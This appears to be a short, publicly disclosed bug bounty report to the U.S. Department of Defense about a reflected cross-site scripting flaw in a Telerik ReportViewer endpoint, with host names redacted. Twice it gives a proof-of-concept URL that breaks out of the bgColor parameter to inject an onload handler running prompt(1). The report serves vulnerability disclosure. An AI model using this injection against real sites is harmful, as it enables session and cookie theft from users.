U.S. Dept Of Defense · Report #1223575
XSS Reflected - ███
Validstatus
mediumseverity
3upvotes
7 Apr 2022disclosed
How it was found
Hi Team,
I found a XSS Reflected.
https://██████/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)
Thans DRauschkolb
Impact
XSS vulnerabilities can be used to trick a web user into executing a malicious script, potentially revealing a user's web session information or modify web content & even steal cookies.
System Host(s)
███
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
https://█████/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)